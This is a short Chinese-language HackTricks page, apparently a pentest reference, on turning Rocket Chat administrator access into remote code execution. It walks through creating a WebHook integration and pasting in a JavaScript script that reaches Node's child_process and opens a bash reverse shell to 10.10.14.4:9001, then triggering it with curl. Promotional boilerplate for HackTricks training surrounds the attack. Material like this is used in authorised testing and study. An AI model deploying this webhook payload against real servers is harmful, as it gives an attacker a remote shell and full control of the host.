Rocket Chat
Reading time: 2 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
RCE
如果你是 Rocket Chat 的管理员,你可以获得 RCE。
- 转到
Integrations
,选择New Integration
,并选择任意一个:Incoming WebHook
或Outgoing WebHook
。 /admin/integrations/incoming
- 根据 docs,两者都使用 ES2015 / ECMAScript 6 (基本上是 JavaScript) 来处理数据。所以让我们获取一个 rev shell for javascript,例如:
javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- 配置 WebHook(频道和以用户名发布必须存在):
- 配置 WebHook 脚本:
- 保存更改
- 获取生成的 WebHook URL:
- 使用 curl 调用它,你应该收到 rev shell
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。